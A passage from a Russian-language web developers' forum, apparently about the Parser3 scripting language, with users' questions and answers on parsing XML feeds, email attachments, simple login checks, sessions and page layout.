$list[^d.select[/document/t]] \
# перебираем найденные листы: \
#   этот код будет работать \
#   даже если запрос не найдет ни одного листа  \
^for[i](0;$list-1){ \
    $node[$list.$i] \
    Имя: $node.nodeName<br> \
    Тип: $node.nodeType<br> \
#\
#   Ну а значение 1,2 как получить? как поля называются?\
#   Я $node.nodeValue, просто Value, уже че только не пробовал\
} \
\
[/code]"
"62757","я сейчас правила нарушу, но я сам в такое же ситуации.\
\
[code]\
$d[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<node0>\
	<node1>\
		<found>12</found>\
		<found>13</found>\
		<found>14</found>\
	</node1>\
</node0>\
}]\
	$list[^d.select[/node0/node1/found]]\
	^for[i](0;$list-1){\
		$node[$list.$i]\
	   	<b>Title: ^node.selectString[string()]</b><br/>\
	}\
[/code]\
\
я бы так сделал, но я сам только 4 часа разбираюсь."
"62758","О, спасибо! Работает - теперь снова быстрыми шагами вперед.\
Блин жесть, из-за названий и прочего сразу скушать материал - никак."
"62759","Все, сдаюсь. Решил разобраться с XML немного и для практики выбрал всою Пикасу. XML который picasaweb.com передает выглядит примерно так:\
[code]\
$xdoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<rss>\
<channel>\
<item>\
<guid isPermaLink=\"false\">http://picasaweb.google.com/data/entry/base/user/kozlov.m.a/albumid/5114308059646118129?alt=rss&amp;hl=en_US</guid>\
<pubDate>Tue, 25 Sep 2007 19:06:09 +0000</pubDate>\
<atom:updated>2007-09-26T00:47:22.000Z</atom:updated>\
<category domain=\"http://schemas.google.com/g/2005#kind\">http://schemas.google.com/photos/2007#album</category>\
<title>2007-09-25 - Pre H2O</title>\
<description>&lt;table&gt;&lt;tr&gt;&lt;td style=\"padding: 0 5px\"&gt;&lt;a href=\"http://picasaweb.google.com/kozlov.m.a/20070925PreH2O\"&gt;&lt;img style=\"border:1px solid #5C7FB9\" src=\"http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/s160-c/20070925PreH2O.jpg\" alt=\"2007-09-25 - Pre H2O\"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign=\"top\"&gt;&lt;p&gt;&lt;font color=\"#333333\"&gt;&lt;/font&gt;&lt;/p&gt;&lt;font color=\"#6B6B6B\"&gt;Date: &lt;/font&gt;&lt;font color=\"#333333\"&gt;Sep 25, 2007&lt;/font&gt;&lt;br/&gt;&lt;font color=\"#6B6B6B\"&gt;Number of Photos in Album: &lt;/font&gt;&lt;font color=\"#333333\"&gt;3&lt;/font&gt;&lt;br/&gt;&lt;p&gt;&lt;a href=\"http://picasaweb.google.com/kozlov.m.a/20070925PreH2O\"&gt;&lt;font color=\\\"#112ABB\\\"&gt;View Album&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</description>\
<link>http://picasaweb.google.com/kozlov.m.a/20070925PreH2O</link>\
<author>Mikhail</author>\
<media:group>\
<media:title type=\"plain\">2007-09-25 - Pre H2O</media:title>\
<media:description type=\"plain\"/>\
<media:keywords/>\
<media:content url=\"http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/20070925PreH2O.jpg\" type=\"image/jpeg\" medium=\"image\"/>\
<media:thumbnail url=\"http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/s160-c/20070925PreH2O.jpg\" height=\"160\" width=\"160\"/>\
<media:credit>Mikhail</media:credit>\
</media:group>\
</item>\
<item>\
<guid isPermaLink=\"false\">http://picasaweb.google.com/data/entry/base/user/kozlov.m.a/albumid/5114308059646118129?alt=rss&amp;hl=en_US</guid>\
<pubDate>Tue, 25 Sep 2007 19:06:09 +0000</pubDate>\
<atom:updated>2007-09-26T00:47:22.000Z</atom:updated>\
<category domain=\"http://schemas.google.com/g/2005#kind\">http://schemas.google.com/photos/2007#album</category>\
<title>2007-09-25 - Pre H2O</title>\
<description>&lt;table&gt;&lt;tr&gt;&lt;td style=\"padding: 0 5px\"&gt;&lt;a href=\"http://picasaweb.google.com/kozlov.m.a/20070925PreH2O\"&gt;&lt;img style=\"border:1px solid #5C7FB9\" src=\"http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/s160-c/20070925PreH2O.jpg\" alt=\"2007-09-25 - Pre H2O\"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign=\"top\"&gt;&lt;p&gt;&lt;font color=\"#333333\"&gt;&lt;/font&gt;&lt;/p&gt;&lt;font color=\"#6B6B6B\"&gt;Date: &lt;/font&gt;&lt;font color=\"#333333\"&gt;Sep 25, 2007&lt;/font&gt;&lt;br/&gt;&lt;font color=\"#6B6B6B\"&gt;Number of Photos in Album: &lt;/font&gt;&lt;font color=\"#333333\"&gt;3&lt;/font&gt;&lt;br/&gt;&lt;p&gt;&lt;a href=\"http://picasaweb.google.com/kozlov.m.a/20070925PreH2O\"&gt;&lt;font color=\\\"#112ABB\\\"&gt;View Album&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</description>\
<link>http://picasaweb.google.com/kozlov.m.a/20070925PreH2O</link>\
<author>Mikhail</author>\
<media:group>\
<media:title type=\"plain\">2007-09-25 - Pre H2O</media:title>\
<media:description type=\"plain\"/>\
<media:keywords/>\
<media:content url=\"http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/20070925PreH2O.jpg\" type=\"image/jpeg\" medium=\"image\"/>\
<media:thumbnail url=\"http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/s160-c/20070925PreH2O.jpg\" height=\"160\" width=\"160\"/>\
<media:credit>Mikhail</media:credit>\
</media:group>\
</item>\
<!-- и так далее-->\
</channel>\
</rss>\
}]\
[/code]\
выбрать item и всех его детей я вроде как смог, но вот как выбрать в каждоом item всех детей group я ума не приложу.\
все что я смог сделать:\
[code]\
$list[^xdoc.select[/rss/channel/item]]\
	^for[i](0;$list-1){\
		$node[$list.$i]\
	   	<b>Title: ^node.selectString[string(title)]</b><br/>\
		<b>Link: ^node.selectString[string(guid)]</b><br/>\
\
		$NodeList[$node.childNodes]\
		^if($NodeList is hash){\
#всех детей group вытаскиваю тут вот таким тапорным методом:\
			$groupList[$NodeList.8.childNodes]		\
#но что если номер node поменятся?\
			^for[g](0;$groupList-1){\
				$group[$groupList.$g]\
				^group.selectString[string(@url)]\
			}[<br />]\
		}\
	}\
[/code]\
все вышенписанное выведет примерно следущее:\
[quote]Title: 2007-09-25 - Pre H2O\
Link: http://picasaweb.google.com/data/entry/base/user/kozlov.m.a/albumid/5114308059646118129?alt=rss&hl=en_US\
title\
description\
keywords\
content http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/20070925PreH2O.jpg\
thumbnail http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/s160-c/20070925PreH2O.jpg\
credit\
\
Title: 2007-09-25 - Pre H2O\
Link: http://picasaweb.google.com/data/entry/base/user/kozlov.m.a/albumid/5114308059646118129?alt=rss&hl=en_US\
title\
description\
keywords\
content http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/20070925PreH2O.jpg\
thumbnail http://lh5.google.com/kozlov.m.a/RvmsFV8fyPE/AAAAAAAABAk/p8tD67KR7ms/s160-c/20070925PreH2O.jpg\
credit\
[/quote]\
\
Пошел спать, может утром что придет в голову, а может кто что дельное подскажет."
"62762","Драйвер у кого-нибудь собранный под вин32 есть?"
"62768","А проблемы хостинга, персонала.\
Даже если нет готовой сборки, всегда можно собрать самому.\
Так что не надо писать что попало, называя это красивыми словами."
"62778","[code]^FORM:draw[\
	^FORM:input[\
		$.name[name]\
		$.value[value]\
	]\
][/code]"
"62783","Вышло весьма познавательно. PAF и G_Z, был рад знакомству.\
\
Таки да, пива не хватало :-)"
"62787","А пиво — оно вредное, не надо его пить."
"62788","напрямую.\
мы в документации даже небольшой спецраздельчик на эту тему делали. для вас?"
"62789",";)"
"62790","Точно!\
Некому!\
:)"
"62793","народ помогите пожалуйста настроить этот Yandex.Server. очень хочется,но ридми какойто муреный, никак не могу, может конечно у меня руки не оттуда растут. пожалуйста распишите шаг за шагом как и что. заранее благодарен"
"62795","что тут кто-то за вас всё будет делать и по шагам расписывать.\
Здесь принято показывать, что сделано самостоятельно, приводя всё, вплоть до кода, и слушать поправки."
"62798","Всем привет. \
\
Есть ли функция удаляющая из переменной тэги html/xml? \
Юзаю $str.replace[$rep]."
"62799","http://www.parser.ru/docs/lang/stringmatchreplace.htm"
"62801","А как же http://www.parser.ru/docs/lang/?stringmatchreplace.htm ?\
\
«Эффективно заменяет подстроки в строке в соответствии с таблицей подстановок, работает существенно быстрее match.»"
"62802","потому что вам нужно при замене задать ему чёткое соответствие.\
То бишь, перечислить все возможные тэги со всеми возможными сочетаниями атрибутов и вариантами их написания.\
Что нереально.\
\
Он хорошо и быстро работает на простых задачах.\
\
Не ленитесь, [url=\"http://www.parser.ru/forum/?terms=%F2%FD%E3+%7C%7C+%F2%FD%E3%E8&doSearch=%CD%E0%E9%F2%E8\"]пользуйтесь поиском[/url].\
Эту тему обсуждали добрую сотню раз."
"62803","Parser3_2_1\
\
При попытке отправить почту с вложенным файлом размером 5,27МБ вылетает это: [quote]out of memory: failed to allocate clean 1024 bytes. heap_used=61067264, heap_free=0, bytes_since_gc=60663468, total_bytes=60786612[/quote]\
\
хостинг - Masterhost\
\
Что делать с этим? :(("
"62804","только надо понимать, что схлопывание соседних блочных элементов (table, p, div) - будет в ряде случаев приводить к схлопыванию текста\
\
если же менять все тэги например на пробел, то будут разъезжаться подряд идущие инлайны (например выделенная часть слова курсивом <i>продукт</i>ивный, сиё превратится в два слова)\
\
ну а если учесть, что в особо изощренных случаях блочность элементов может быть настроена через css \
[code]table {display:inline}\
b {display:block}[/code]\
, то задача [b]правильного[/b] вырезания тэгов в общем случае не имеет решения (либо оно очень сложное)."
"62805","спасибо"
"62806","[code]\
      $.format[base64]\
]\
[/code]\
\
uue исправим."
"62807","именно её nodeValue и надо достать.\
так понятнее?\
делать дополнительный xpath запрос (selectString) не нужно."
"62808","написал что 'beta', т.к. сам попробовал лишь примитивные запросы."
"62809","Вот это в ^mail:send[]\
[code]	\
    $.file[\
			$.value[^file::load[binary;/arc.exe]]\
			$.format[base64]\
		] \
[/code]\
выдает такую ошибку: [quote]\
base64\
unknown attachment encode format\
[/quote]\
Я что-то не так понял, как использовать?"
"62810","пока придется собирать 3.2.2/head из cvs, или использовать [url=\"http://www.parser.ru/forum/?id=53480\"]хитрые костыли[/url]"
"62811","для того, чтобы работать с ним используя xpath надо задать search-namespaces (см. доку).\
\
$NodeList.8... -- отстой. добавится хоть одна next node (перевод строки между тегами) и такой код перестанет корректно работать."
"62812","Сам не могу собирать 3.2.2/head из cvs, если кому не трудно, буду очень благодарен. ОС - FreeBSD 6.1"
"62813","[quote]починить невозможно.[/quote]\
\
Спасибо, у меня сейчас как раз такая."
"62814","Можно сделать так: http://www.parser.ru/forum/?id=20720\
минус нужно заранее вписать имена классов\
\
а можно сделать так:\
[code]\
# где нибудь в корневом auto.p\
@auto\
...\
$hClassFactory[^hash::create[]]\
[/code]\
\
в каждом классе участвующем в этом цирке\
[code]\
@CLASS\
testFactory\
\
@auto[]\
$MAIN:hClassFactory.testFactory[$self.CLASS]\
\
@factoryCreate[h][result]\
$result[^testFactory::new[$h]]\
\
# дальше конструктор и все прочие прелести\
@new[h]\
...\
@imMegaMethod[]\
Go!\
[/code]\
\
где-то\
[code]\
# откуда то пришло имя класса\
$sImClassName[testFactory]\
# и.. магия\
$oImClass[^MAIN:hClassFactory.$sImClassName.factoryCreate[$hParams]]\
^oImClass.imMegaMethod[]\
[/code]\
\
если следовать соглашению Имя класса = Имя файла (Имя класса + .p)\
то + используем ^use[${sImClassName}.p]"
"62815","Использую Мишин класс для управления правами пользователей. Хотя, пока управление заключается только в назначении прав, а вот с их проверкой пока проблемы.\
\
Права налагаются на элементы древовидных структур: структура разделов сайт, структура разделов меню... и т.д. в связи с необходимостью введения кэширования на текущий момент XML-файлы структур формируются из базы только при их изменении. При запросе все берется из готового XML-файла копии.\
\
Однако, нужно ввести разделы, доступ к которым должен быть динамическим, точнее, на эти разделы устанавливаются разрешения на доступ по группам, и если пользователь не входит в нужную группу он не должен увидеть соответствующий ей раздел.\
\
Есть вариант к основным структурам (элементы которых разрешены для всех) формировать также еще дополнительно структуры для групп. Например, создавать xml-файлы с именами: [b]объект-группа.xml[/b].\
\
Однако возникает вопрос: как их срастить, ведь может получиться что элементы из файлов разных групп будут пересекаться.\
\
Вот и застрял на этом пока."
"62816","моё мнение: кешировать данные из SQL в xml не надо. разгрузив SQL сервер (который уже только и занят только тем что сидит и ждёт когда у него что-то спросят) вы создаёте жирный xdoc + имеете описанные у вас проблемы поиска пересечений.\
\
я тут недавно к своему старому классу авторизации (на доделывание нового времени так и не появилось) подобное приделывал (чтобы можно было давать права на _разные_ структуры). дописал пару классов, котоые за это отвечают.\
\
пришлось переделать таблички rights и acl, да часть методов в auth.p болтается мёртвым грузом (в принципе смело можно грохнуть, если они не используются). могу выложить рядом, однако писать демонстрационные файлики нет никакого желания. \
\
используется в таком виде:\
1. перекрывается метод @logon[], в него добавляется вызов:\
[code]\
^self.initACL[]\
[/code]\
\
2. дообавляем в класс метод @initACL[]\
[code]\
@initACL[]\
^if($is_logon){\
	^self.loadUserGroups[]\
	^use[ACL.p]\
	$oACL[^ACL::create[\
		$.oSql[$oSql]\
	]]\
}\
$result[]\
#end @initACL[]\
[/code]\
\
\
3. добавляем в класс примерно такой метод:\
[code]\
@isHaveAccess[sAccessAbbr;sRefererType;iRefererId]\
^if($is_logon){\
	$result(def $oACL && ^oACL.isHaveRight[$sAccessAbbr;^oACL.getRightsToItem[$user;$sRefererType;$.id($iRefererId)]])\
}{\
	$result(false)\
}\
#end @isHaveAccess[]\
[/code]\
\
4. где надо проверяем: \
[code]\
^if(^oAuth.isHaveAccess[R;tree;666]){\
	<p>User have 'read' access to object in tree with id=666.</p>\
}{\
	<p>Access denied.</p>\
}\
[/code]\
\
P.S. правда пришлось ещё малость изменить сам auth.p, однако там вроде с текущей выложенной версией нет обратно несовместимых изменений, поэтому тоже могу обновить..."
"62817","пожалуйста, пришлите, что просим\
to: Миша?"
"62818","[quote]моё мнение: кешировать данные из SQL в xml не надо. разгрузив SQL сервер (который уже только и занят только тем что сидит и ждёт когда у него что-то спросят) вы создаете жирный xdoc + имеете описанные у вас проблемы поиска пересечений.[/quote]\
Я к этому пришел т.к. [url=\"http://www.parser.ru/forum/?id=62485\"]возникли проблемы с хостингом[/url] + хочется сократить количество \"лишних\" обращений к базе. Я внутренне к этому давно стремлюсь. В идеале, есть желание формировать готовые статические страницы, однако, пока нет четкого подхода... ну да ладно. XDOC у меня не очень \"жирный\", хотя, вся страница формируется именно в нем, а затем парсится с XSL-шаблоном. Пока не хочеться переходить на Parser-шаблоны, т.к. XSL мне пока видится более гибким.\
\
[quote]я тут недавно к своему старому классу авторизации ... дописал пару классов, котоые за это отвечают.[/quote]\
Когда ждать?"
"62819","[quot]\
хочется сократить количество \"лишних\" обращений к базе\
[/quot]\
\
бессмысленная трата времени.\
от 'too many connections' это вас не спасёт. ваш сайт будет работать лишь в случае, если у вас вообще _ни_одного_ соединения делаться не будет, когда у SQL подобная проблема, а это или кеширование _всех_ sql запросов (муторно + большой расход дискового пространства) или кеширование страницы целиком (10 мин но сильно хуже с динамикой).\
\
[quot]\
XDOC у меня не очень \"жирный\"\
[/quot]\
вы мерили?\
xdoc -- вседа \"жирный\", т.к. это синтаксический разбор xml (по достаточно сложным правилам) + построение DOM дерева (с кучей связей). \"жирный\" даже просто xdoc::create. а xdoc + transform жирнее вдвойне. хотя если у вас это все равно есть (что очень удобно и если это так не отказывайтесь от этого, особенно в сторону \"Parser-шаблонов\"), то понятное дело, дополнительных накладных расходов получается не много (конечно если вы не добавляете дополнительный ::create + .transform, а делаете всё в ваших основных xml и xslt)\
\
[quot]\
Когда ждать?\
[/quot]\
\
когда кому-то будет нужен. вам с вашим подходом это не нужно. другие не изъявляли желаний. для меня выкладывать == \"поддерживать\" (периодически обновлять, т.к. находятся баги, делаются доработки, пусть и небольшие), а этот дополнительный геморой, особенно по поддержке сильно устаревшего, мне совсем не нужен."
"62820","[quote]от 'too many connections' это вас не спасёт. ваш сайт будет работать лишь в случае, если у вас вообще _ни_одного_ соединения делаться не будет, когда у SQL подобная проблема[/quote]\
Да, есть такое подозрение. Посмотрим, как будет работать BHost после upgrad-а... может и не придеться уходить.\
В принципе, думаю, кэширование лишним не будет. К тому-же, есть мысль использовать кэшированные деревья для составления карты сайта  + также есть желания сбрасывать последние посты в форуме/блоге и новости и кэша их кидать в RSS.\
[quote]xdoc -- вседа \"жирный\", т.к. это синтаксический разбор xml[/quote]\
не мерял, но наверное \"[b]жирный[/b]\". Но мне пока так удобно. Тем более, что я долго себя заставлял, чтобы к этому прийти.\
[quote]вам с вашим подходом это не нужно[/quote]\
если хорошо подумать, но наверное - нет. Будем думать что придумать.\
\
Придумаю - отпишусь."
"62822","Ребята подскажите пожалуйста как реализовать скрипт на персере личного кабинета! Бился бился и не знаю, наверно не суждено экономисту стать програмистом! Сайт www.startipsters.com и нужно на нем сделать members area чтобы вход только по логину и паролю (которые храниться будут в файле или базе данных не важно). Как сделать формы в принципе понятно а саму проверку не могу допереть. Кому не трудно помогите пожалуста."
"62824","Сначала сделал форму\
<form method=\"POST\">\
Login: <input name=\"login\">\
Password: <input name=\"pass\">\
<input type=\"submit\" value=\"Submit\" name=\"posted\">\
</form>\
\
Потом пытался сделать обработку но понял что даже не знаю как ее сделать последнее пытался селать так:\
\
^if(def $form:login && def $form:pass){\
 ^connect[$connect_string]{\
  $memarea[^table::sql{select\
   login, pass\
    from\
     memarea}]\
\
  ^memarea.menu{\
   ^if ....\
\
вот вроде до этого момента я понимаю, что я создаю своим клиентам логин и пароль (т.е. они уже есть в БД). Человек вводит логин и пароль, потом я просматриваю из БД все логины и пароли а ка сравнить с введенными я не понимаю!!!"
"62826","да вроде читал только все равно не могу понять как сравнить только что введенную форму со столбцом в sql таблице.\
^if($form:login=???) а чему не могу понять"
"62827","Для начала сделайте уроки из документации. Ознакомьтесь с тем, как делать запросы к БД. Прочитайте про принципы по которым вообще делается авторизация пользователя.\
Посмотрите в сторону закрытия своей member area средствами апача (возможно это будет самый простой для вас вариант) Гугл вам в помощь.\
Потом скачайте Мишин класс авторизации. Там есть примеры работы с ним и в них все довольно просто и понятно."
"62828","Уроки все прошел от и до, если вы не заметили указанный сайт это и есть по сути дела набор уроков. Возможно и рано, но надо когда то начинать!"
"62829","Только вот надо к этому подготовиться.\
По форуму поищите. Про авторизацию было уже много тут сказано.\
Про авторизацию средствами апача читали? Может для вас самое оно?"
"62830","слышал но не читал. если можно скинтье ссылку с подробным описанием!"
"62832","[code]^if(def $form:login && def $form:pass){\
^connect[$connect_string]{\
$tIsValid[^table::sql{SELECT\
login, pass\
FROM\
memarea\
WHERE login = '$form:login' AND pass = '$form:pass'}]\
}\
^if($tIsValid){\
member logged\
}{\
logon failed\
}\
}\
[/code]\
\
кроме того хранить пассы открытым тесктом в базе - сакс."
"62833","я так и знал что все просто!!!тогда, как их зашифровать?"
"62834","Нет, не Миша, АЕМ.\
\
Эти методы вызываются в пределах одного класса.\
Ошибка в 3.2.1.\
\
[code]@CLASS\
LOGIN\
\
@auto[]\
$login[^hash::create[]]\
$login.error(0)\
$login.mode(0)\
$login.sessions[^hashfile::open[/sessions]]\
#/auto\
\
\
# удаляем данные сессии\
@clearSession[][sessions]\
$sessions[$login.sessions]\
^if(def $cookie:hashkey){\
	^sessions.delete[$cookie:hashkey]\
}\
$cookie:sid[\
	$.value[]\
	$.expires(-100)\
]\
$cookie:hashkey[\
	$.value[]\
	$.expires(-100)\
]\
\
@makeSession[hashkey;sid]\
$cookie:sid[\
	$.value[$sid]\
	$.expires(0.014)\
]\
$cookie:hashkey[\
	$.value[$hashkey]\
	$.expires(0.014)\
]\
$sessions[$login.sessions]\
$sessions.$hashkey[ \
   $.value[$sid] \
   $.expires(0.014) \
]\
\
@checkSession[hashkey;sid][sessions]\
^if(def $hashkey && def $sid){\
	$sessions[$login.sessions]\
	^if($sid eq $sessions.$hashkey){\
		$result(1)\
		$login.error(0)\
	}\
}[/code]"
"62835","Недоглядел\
\
[code]@makeSession[hashkey;sid][sessions][/code]"
"62836","играться с приведёнными методами и придумывать как вы их вызываете что происходит подобная ошибка нет ни малейшего желания ни времени.\
\
будет bug.html, воспроизводящий проблему -- посмотрю."
"62837","В примере новостей есть if($news){....}\
\
Я хочу проверить наличие данных в поле $news.img_link\
\
Пытаюсь делать if($news.img_link){картинка есть}\
или  if($news.img_link>0){картинка есть}\
Но такой номер не проходит.\
img_link типа varchar(255)\
\
Ошибка в логе:\
'картинка' invalid number (double) [number.format]\
картинка это содержимое поля img_link"
"62843","понятность -- вопрос привычки, лично для меня def уже понятнее =)"
"62844","вроде избавился от этого не уверен что самым оптимальным путем, но вроде работает.\
[code]\
#перебираем берем все item\
$list[^xdoc.select[/rss/channel/item]]\
		^for[i](0;$list-1){\
			$node[$list.$i] \
			$NodeList[$node.childNodes]\
			^if($NodeList is hash){\
				^for[z](0;$NodeList-1){\
					$MainGroup[$NodeList.$z]\
					^if($MainGroup.nodeName eq \"group\"){\
	 					$groupList[$MainGroup.childNodes]			\
						^for[g](0;$groupList-1){\
							$group[$groupList.$g]\
							^if($group.nodeName eq \"content\"){ \
								$imgThumbnail[^group.selectString[string(@url)]]\
							}\
							^if($group.nodeName eq \"title\"){ \
								$title[^group.selectString[string()]]\
							}\
						}\
					}\
				}\
\
				^tblAlbums.append{^eval($i+1)	^node.selectString[string(title)]	$title	^node.selectString[string(link)]	$link.prematch	$imgThumbnail	^node.selectString[string(pubDate)]}\
			}\
\
\
		}\
[/code]\
\
вот собственно так"
"62845","забыл зайти, но короче я перебираю все элементы. Сначала item, потом перебираю всех детей внутри, если его имя соответствует тому что я ищу, то достаю его детей и их перебираю до тех пор пока не наткнусь на тех кого ищу.\
\
Это мой первый опыт, так что все еще впереди."
"62847","возможно в одном запросе досталось несколько полей (ФИО, изображение) и надо лишь понять выводить изображение или нет.1"
"62848","Написал сайт. из 20 страничек. Вся META информация (title, keywords, descriptio, h1, локальная навигация) Загружается через вот такой код:\
[code]\
@meta[]\
$meta_date[^table::load[/meta.cfg]]\
^if(^meta_date.locate[uri;$request:uri]){\
  $result[$meta_date.name]\
}{\
  $result[Данный нет!]\
}\
[/code]\
\
Потом понадобилось расширить возможности. Добавил нечто похожее на гостевую книгу: [url=\"http://www.parser.ru/forum/?id=1063\"]http://www.parser.ru/forum/?id=1063[/url]\
\
Соответственно появились ссылки вила http://www.parser.ru/forum/?id=1063 И вот из-за этого [color=\"#ff0000\"]?id=1063[/color]\
\
Моя конструкция перестала работать. Все пути решения которые знал перепробовал.\
\
Укажите в каком напралении думать?"
"62850","[code]\
\
Select fio, if(imgurl is null,'','<img src=\"imgurl\">') as ifimg from table\
[/code]"
"62851","у меня подход аналогичен, только с методами помощниками:\
\
[code]\
^use[Node.p]\
$hList[^xdoc.select[/rss/channel/item]]\
$i(1)\
^Node:foreach[$hList;;xItem;hItemAttr]{\
	^rem{ *** по моему надо очистить sTitle и sImgThumbnail *** }\
	$sTitle[]\
	$sImgThumbnail[]\
	^Node:foreachChild[$xItem;$.group(1);xGroup;hGroupAttr]{\
		^switch[$xGroup.nodeName]{\
			^case[content]{\
				$sImgThumbnail[$hGroupAttr.url]\
			}\
			^case[title]{\
				$sTitle[^xGroup.selectString[string()]] ^rem{ *** тут бы я тоже избавился от .selectString *** }\
			}\
		}\
	}\
	^tblAlbums.append{$i	$hItemAttr.title	$sTitle	$hItemAttr.link	$link.prematch^rem{ *** <<< что это??? *** }	$sImgThumbnail	$hItemAttr.pubDate}\
	^i.inc(1)\
}\
\
[/code]"
"62852","[b]index.html[/b]\
[code]\
<title>^title[]</title>\
$blog[^table::load[blog_info.cfg]]\
$pagelen(5)\
^if(def $form:page){\
   ^blog.offset(($form:page-1)*$pagelen)\
}\
^if((^blog.count[] \\ $pagelen + 1) == $form:page){\
   $currpagelen(^blog.count[] - ($pagelen * ($form:page - 1)))\
}{$currpagelen($pagelen)}\
^for[i](1;$currpagelen){\
  ^if($i <= ^blog.count[]){\
  $date_zapis[^date::create[$blog.date]]<br>\
<P><font color=\"gray\"<i>$blog.date</i></font> <b>$blog.subject</b><br>\
     $blog.message</p>\
     <a href=\"reviev_thought.html?id=$blog.id\">Читать сообщения</a>\
      ^blog.offset(1)   \
  }\
}\
<br><br>\
^for[i](1;^blog.count[] \\ $pagelen + 1){\
  <a href=\"index.html?page=$i\">$i</a> \
}[ | ]\
[/code]\
\
[b]auto.p[/b]\
[code]\
@title[]\
$title[^table::load[/ddd/title.cfg]]\
^if(^title.locate[^untaint[as-is]{uri};$request:uri]){\
  $result[$title.name]\
}{\
  $result[Такой страницы нет!]\
}[/code]\
\
[b]meta.cfg[/b]\
id	date	subject	message\
5	24.12.2007	Заголовок 5	Запись 05\
4	25.12.2007	Заголовок 4	Запись 04\
3	26.12.2007	Заголовок 3	Запись 03"
"62853","[code]\
@meta[]\
$meta_date[^table::load[/meta.cfg]]\
\
$t[^request:uri.split[?;h]]\
^if(^meta_date.locate[uri;$t.0]){\
\
  $result[$meta_date.name]\
}{\
  $result[ДанныЙ нет!]\
}\
[/code]"
"62854","Вот вопрос встает, сколько нас. Особенно интересует, сколько в Питере. \
\
Здесь в настройках профиля есть поле \"город\". Может быть, опубликуете статистику по количеству зарегистрированных на форуме пользователей по городам? :)"
"62857","обширых тестов я не проводил, но при отправке 1.3 МБ файла новая реализация потребляет раза в 3 меньше памяти.\
\
тем не менее при кодировании в base64 (ПАФ имел в виду его, когда писал mime64) расходует ещё меньше памяти.\
\
на досуге попробую пооптимизировать uuencode ещё."
"62860","Вопрос в том, сколько нас в Питере. А то как бы мне не пришлось на ПХП перейти."
"62863","Походу двое"
"62864","К сожалению не осталось того файла, поэтому и не прислал; на sql перевел, не стал париться с hashfile."
"62865","У меня в 3.1.3 ^str.base64[] выводит [i]string method not found[/i]\
Что делать?"
"62866","На форуме пусто\
http://www.yandex.ru/yandsearch?text=base64+string+method+not+found&site=parser.ru&ras=1&site_manually=true"
"62867","... и увидеть в какой версии появилась поддержка base64."
"62873","Ну если бы ты обратил внимание на мое место обитания, то заметил бы, что нас в питере как минимум двое. (а на самом деле больше)\
\
Но это не главное. \
\
Главное в том, что не количество людей в твоем городе должно определять выбор языка.\
За последние 5 лет еще ничто не послужило причиной тому, чтобы я отказался от Парсера."
"62874","Спасибо, я посмотрю на node.p класс. \
[code]\
$link.prematch^rem{ *** <<< что это??? *** }	\
[/code]\
в процессе я отсекаю query, т.е. все что находится после первого знака \"?\".\
\
Осталось разобраться с кодировками для сохранения в базу данных названий на разных языках и все будет тип-топ.\
\
вот собственно над чем я работаю http://www.315design.com/cmp220/tools/picasa/"
"62876","[quot]\
в процессе я отсекаю query, т.е. все что находится после первого знака \"?\".\
[/quot]\
\
я имел в виду, что в приведённом коде нет упоминания никакой $link, поэтому предположил что тут опечатка. \
\
если вы отсекаете query, то наверное лучше делать это с помощью split.\
\
[quot]\
Осталось разобраться с кодировками для сохранения в базу данных...\
[/quot]\
\
а что тут разбираться? UTF-8 она и в африке UTF-8 и в америке UTF-8 :)\
\
P.S. в моём коде ошибка. я забыл один цикл внутри group. :)"
"62877","честно говоря еще не пробовал, только скачал новые классы. Сейчас буду искать ошибки. \
\
Что касается кодировок, то понятно что UTF-8, надо просто разробраться со всеми местами где это нужно прописать. Я до этого сайты в основном на русском (windows-1251) и англиском(windows-1251) делал, так что все впереди. Спасибо за советы."
"62885","Внимательно посмотрела что раньше обсуждалось по поводу создания баннерокрутилок.\
Но у меня другая проблема, у меня баннеров на странице - 3 шт.(http://www.diamond-events.ru/)\
\
Никак не могу сообразить, как лучше реализовать эту систему :(\
\
Проблема в том, как получить 3 уникальных числа сразу.\
\
Может есть у кого светлые мысли?"
"62886","У вас шапка + тело сайта отображается в кодировке 1251, а футер (нижняя часть) в коир-8"
"62887","Спасибо за замечание, проглядела."
"62888","Будем знать с кем пить кефир :)"
"62889","Вывожу на главную страницу три фотки. Хочу чтоб они были в строчку.\
\
[code]@lastwork[]\
$day(^if(def $form:day){\
   $form:day\
}{\
   $now.day\
})\
^connect[$connect_string]{\
   $lastwork[^table::sql{select\
       id, image, descript \
   from\
      lastwork \
ORDER BY id DESC LIMIT 3\
   }]\
   ^if($lastwork){\
      ^lastwork.menu{\
<img src=\"/images/^untaint{$lastwork.image}\" alt=\"\" width=\"200\" height=\"200\" border=\"0\" />\
<div class=\"normal\">^untaint{$lastwork.descript}</div>\
      }[]\
   }{\
      Почему-то фоток нету :(\
   }\
}[/code]\
\
т.е. выводится три последние (сортировка по ID) фотки размером 200 на 200 с описанием ^untaint{$lastwork.descript}\
\
Кажется ответ на поверхности.. помогите плиз."
"62890","[code]      ^lastwork.menu{\
<td width=\"33%\" align=\"center\">\
<img src=\"/images/^untaint{$lastwork.image}\" alt=\"\" width=\"200\" height=\"200\" border=\"0\" />\
<div class=\"normal\">^untaint{$lastwork.descript}</div></td>\
      }[][/code]\
\
и вставляем в\
\
[code]<table>\
  <tr>\
^lastwork[]\
  </tr>\
